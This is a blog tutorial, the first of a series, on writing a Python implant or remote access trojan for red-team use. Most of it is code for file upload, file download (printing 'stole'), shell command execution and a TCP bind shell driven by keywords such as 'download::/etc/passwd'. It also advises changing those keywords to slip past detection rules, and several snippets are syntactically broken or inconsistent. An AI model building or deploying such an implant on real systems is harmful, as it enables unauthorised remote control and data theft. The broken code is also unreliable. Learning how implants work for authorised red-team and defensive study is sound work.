A N00b’s Perspective to Red Team: DIY Implant

Christian Sanchez
11 min readJan 29, 2021

This is the first of a three-part series where I’ll share some of the amazing fun stuff I’ve learned recently shadowing a Red Team. Let’s go over writing our own implant or RAT (remote access trojan). When I first jumped onto this fun project, I thought it was going to be difficult due to my lack of programming knowledge. But after not knowing where to start, I spoke with a colleague who showed me a really great way to look at the true functionality of an implant by asking me these questions:

● What is an implant?

● What does it do?

● How would you start writing it?

To answer the first and second question, you just need a program which allows you to do three basic things — the ability to execute commands, upload files, and download.

*KA-POWWW! *…mind blown, mic drop, GG! I don’t know why I actually never thought of it like that before, but it made complete sense. An implant is just a simple program that allows you to perform those three actions. So, after absorbing what I had just learned, I dug in, not to only improve my development skills, but to build something really super ninja.

Writing the implant

Let’s go over the steps I went through to write the implant and another program which will talk to our implant. To make things easier to understand, I will start by naming our implant the “server” and the program communicating with the implant the “client”. I will discuss more about the client in part two of this series.

The first thing you need to do is come up with a plan for the structure. If you’re like me, I tend to forget or get lost in what I am doing pretty often. We can start with pseudocode to organize our thoughts and keep track of what we need to work on next. Let’s start with three placeholder functions and a main function that returns nothing.

I decided to use Python3 to write this example because I felt like it was a good language that would provide me some hand holding. Python3 also allows tools like mypy, a static type checker which checks your type annotations. You can install mypy using the command “pip3 install mypy”.

Step 1 & 2: Pseudo code and 3 basic functions

Pseudo code:

#!/usr/bin/env python3#upload
#download
#execute
#main
#for more information on what this line of code does visit hxxps[:]//medium[.]com/python-features/understanding-if-name-main-in-python-a37a3d4ab0c3if __name__ == “__main__”:
main()
main()

Basic functions returning “nothing”:

#!/usr/bin/env python3#upload
def upload(b64_upload, destination_file):
#download
def download():
return
#execute
def execute():
return
#TCP listener
def bind():
return
#main
def main():
if __name__ == “__main__”:
main()

From the top! With the upload function, we want to be able to copy a file from our machine to the server. The data will be transferred over a TCP socket from the client using bytes. We will also be performing the same thing when we write to the file in bytes. Transferring a byte data type such as base64 will make it much easier to achieve this, avoiding all the conversion from a string to bytes.

The function will take in a data type of bytes as an argument but will return None. A filename will also be required to be passed as an argument to write our decoded base64 value into the newly created file. We can set this variable to a string and use our annotations to keep notes. Plus, mypy will catch any data errors being returned and fed into each function.

Now that we have an idea of what we will be using, we can now start importing the libraries we need. We’ll need the base64 library for the download and upload function, the OS library for executing commands, and the socket library to open up a TCP port to listen for our bind shell. We will add more libraries if needed, as we move through the code.

I created two variables for testing, called “test_upload” and “test_upload_file”. The “test_upload” variable holds a base64 encoded blob, which will be decoded by our function, and the second variable holds the value of the filename our function will write.

Python has a bunch of amazing built-in functions that make it easier for us to do a lot of the encoding and decoding. For instance, base64.b64decode () takes in our base64 blob and decodes it. Both the decode() and encode() allow us to handle the bytes. Also, the open() allows us to read and write to files. I have added a link to the Python documentation on each of the libraries at the end of each snippet of code.

Upload

For the upload function, we will take in a base64 encoded value, then decode the value and feed them into a variable. That value will then be fed to our open() function as an argument. The open() will create a file, if it doesn’t exist already, which was provided as an argument using our “test_upload_file” variable. The write() function will then write into that file with our decoded value in bytes.

#!/usr/bin/env python3
import os
import base64
import socket
#upload
def upload(b64_upload: bytes, destination_file: str) -> None:
#change string to bytes
upload_data = base64.b64decode(b64_upload)
with open(destination_file, “wb”) as w:
w.write(upload_data)
return
#download
def download():
return
#execute
def execute():
return
#TCP listener
def bind():
return
#main
def main ():
test_upload = “IyEvYmluL2Jhc2gKZWNobyAnaGVsbG8nCg==”
test_upload_file = “canitruncrysis.sh “
upload (test_upload, test_upload_file)
if __name__ == “__main__”:
main()

hxxps://docs[.]python.org/3/library/base64[.]html
hxxps://docs.python[.]org/3/library/socket[.]html
hxxps://docs[.]python.org/3/library/os[.]html

Testing the function

We can now test the function to see if it will execute and create a file in the current working directory.

Holla! It worked! Now let’s cat the file to see if it wrote our basic bash script, “hello”.

Base64 decoded value written in to canitruncrysis.sh

And look at that…it wrote our data.

Download

The download function is not completely necessary in an implant because you can actually upload something more robust, such as a Meterpreter, Mythic, shad0w c2, or an Empire payload up to the server which you can use to run a built-in download function. However, we want the option to download in our implant.

The download function does the opposite of the upload function. It will read an existing file on the server, base64 encode the data being read, then return it to be sent off to our client through our TCP connection. We will test the full functionality out once we have our bind shell. For now, we can return the value and print out the blob.

#!/usr/bin/env python3
import os
import base64
import socket
#upload
def upload(b64_upload: bytes, destination_file: str) -> None:
#change string to bytes
upload_data = base64.b64decode(b64_upload)
with open(destination_file, “wb”) as w:
w.write(upload_data)
return
#download
def download_file(fileToDL: str) -> bytes:
with open(fileToDL, “rb”) as f:
DLFile = f.read()
b64EncDL = base64.b64encode(DLFile)
print(‘stole ‘ + fileToDL)
return b64EncDL
#execute
def execute():
return
#TCP listener
def bind():
return
#main
def main ():
test_upload = “IyEvYmluL2Jhc2gKZWNobyAnaGVsbG8nCg==”
test_download_file = “upload.txt”
upload (test_upload, test_upload_file)

Testing the Download Function

We can test this function by opening a world-readable file like “/etc/passwd”, then print out the base64 encoded blob. We can also create our own file, add some data, and print out the blob.

I created a file called “todownload.txt” and added a basic bash script inside. In the program, I replaced the “test_upload” and “test_download_file” with a variable to hold the filename we want to base64 encode and feed that into an argument in our download function. Then, the main() function will print out the returned value from the download() function.

Main will feed the variable to a file we want to read then base64 the contents of into the download_file()
Newly created file “todownload.txt
Contents inside “todownload.txt
Comparing the base64 encoded values

Great! Our function works. This was verified by manually base64 encoding the file via command line. The only difference is the program is showing the output in bytes, rather than the UTF-8 version from running the base64 command.

Execute

For the execute function, we will be using a subprocess and the popen() function. The command will be fed into the function a string and will be fed along with “/bin/sh -c“ in our call to Popen() . If the host will be a Windows host, simply change the command to “C:\\Windows\\system32\\cmd.exe”, “/c”. We will forward the standard output to a pipe and forward standard error to standard out. This seems confusing, but just know that everything is basically flowing towards the pipe, which we will read from and strip out any newlines or special characters that would normally have issues in a terminal. We will be returning this value in bytes to send the output back through the wire to the client.

#!/usr/bin/env python3
import os
import base64
import socket
import subprocess
#upload
def upload(b64_upload: bytes, destination_file: str) -> None:
#change string to bytes
upload_data = base64.b64decode(b64_upload)
with open(destination_file, “wb”) as w:
w.write(upload_data)
return
#download
def download_file(fileToDL: str) -> bytes:
b64EncDL = base64.b64encode(fileToDL.encode(‘utf-8’))
with open(fileToDL, “rb”) as f:
DLFile = f.read()
print(‘stole ‘ + fileToDL)
print(b64EncDL.decode(‘utf-8’))
return b64EncDL
return
#execute
def execute(command: str) -> bytes:
with subprocess.Popen([“/bin/sh”, “-c”], command], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) as proc:
word = proc.stdout.read().strip()

return word
#TCP listener
def bind():
return
#main
def main ():
test_upload = “IyEvYmluL2Jhc2gKZWNobyAnaGVsbG8nCg==”
test_upload_file = “uploaded.txt”
upload (test_upload, test_upload_file)

hxxps://docs.python[.]org/3/library/subprocess.html

Testing out the Execute Function

To test this function out, I am going to create a new file called “executeWorks.txt” using the touch command. Then, I’ll run the ls command to show the contents of the current working directory.

Main should now look like this:

When running the implant, it should show the following:

Implant will print out the command being performed for the execute() function

It worked! Now we have the ability to execute commands on the server. Our implant is almost done. The final step is to create a TCP Listener so a client tool like ncat/nc can connect to it.

Bind Shell

This function is a little bit more involved. First, a socket needs to be created, which will listen using a TCP connection on an IPv4 address for any client to connect to a port we specify. Once that connection is opened/bound to a port, it will listen for a client. The socket will then accept any connection made to that port. While a connection is live it will be able to send and receive traffic using that connection. Since data is sent through the connection, we will feed that into a variable in 2048-byte chunks until there is no more data flowing through the connection.

The bind shell function should look like this:

[truncated…]#TCP listener
def bindShell():
#create a socket connection which will listen on an IPv4 address opening a TCP port on 9999.
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((“127.0.0.1”, 9999))
s.listen(1)
#while connection is open accept any connection made
while True:
conn, addr = s.accept()
print(‘Connection Establisted’)
#when a connection is made any data received will be fed in to the data variable from the s.recv() which is called inData.
with conn:
client = addr[0]
c_port = addr[1]
print(f”Connection from ‘{client}:{c_port}’”)
while True:
inData = s.recv(2048)
data += inData
if not inData:
break
#if inbound traffic is less than 2048 bytes continue to feed into our data variable.

Communication

To make it so that only we can communicate to our implant, we will add some special keywords to trigger our function calls. This will make it so that anyone connecting to that port will not be able talk to our implant besides us. This makes it more unique and allows us to change these keywords whenever we want. This also makes it more difficult to detect. If someone wants to create a rule against this implant, we can quickly change it to bypass that detection rule. To keep it simple, I will name these keywords using the respected function names: download, execute, and upload. I have also added some code that will let us know when the function call has completed its commands. This will also separate some of the data sent back to the client, making it easier to read.

To separate the keywords, arguments, and file we want to upload or download, we will need to feed that data into a variable. In my example I call it “args”. Then, we can split the string data stored in that variable by using some form of separator. In this example, I will be using “::” as our separator to distinguish what is a function call and what is an argument for that function.

For example, if we want to execute the ls command on the server, it will look like “execute::ls”. If we want to download a file, it will be “download::/etc/passwd”. Upload will require three split parameters “upload::./bad.sh::/tmp/kitty.sh”. The command will be split at function call, then the local file that will be uploaded to the server, and finally the file path to save the file on the server.

The following code has some comments, and I added some bold text to show when I have split the string.

[truncated…]# receive data to split
raw_command = data.decode(“utf-8”)
command = raw_command.strip()
args = command.split(“::”, 4)
# variables
execute_param = “execute”
download_cmd = “download”
upload_cmd = “upload”
# recv executeif args[0] == execute_param:
exec_command = args[1]
execute_send = (
(
“Executed “
+ exec_command
+ “:\n”
+ “-” * 20
+ “output”
+ “-” * 20
+ “\n”
). encode(“utf-8”)
+ execute(exec_command)
+ (“\n” + “-” * 20 + “output” + “-” * 20 + “\n\n”). encode(
“utf-8”
)
)
conn.sendall(execute_send)
# download
elif args[0] == download_cmd:
fileDL_command = args[1]
fileDL_send = download_file(fileDL_command)
message = (
+ fileDL_command.encode("utf-8")
+ b"\n"
+ fileDL_send
+ b"\n"
+ b"-" * 20
+ b"\n"
)
conn.send(message)
# upload
elif args[0] == upload_cmd:
fileUp = args[1]
fileUPdest = args[2]
upload_file(fileUp, fileUPdest)
conn.send(b"done\n")

The last thing is to change our main() function to just run the bind shell:

Main only calling the bindShell() function

Finally, to test the implant, I will use ncat/nc to connect to the implant.

The listener is up, and we see a connection when we send the following execute command:

Output from the execute() function.
The implant shows that a connection has made when a successful connection is made.

Upload:

For upload we will need to base64 encode the contents of a local file then send that to the server. I will discuss how to automatically read the contents of a local file then send it to the server in part 2 of this series.

Base64 encoded value sent to server, then decoded and written to a file

Download:

Server reads a file then sends the base64 encoded value back to the client

The implant is now finished! I highly recommend writing your own version of this fun project rather than copying down my version. A link to the GitHub page will be listed in the end of the second part of this series. It definitely helped my development skills and helped me understand the logic of how an implant works. I hope you have fun!

--

--

Christian Sanchez

I love learning new things. My posts are my own and do not represent my employer.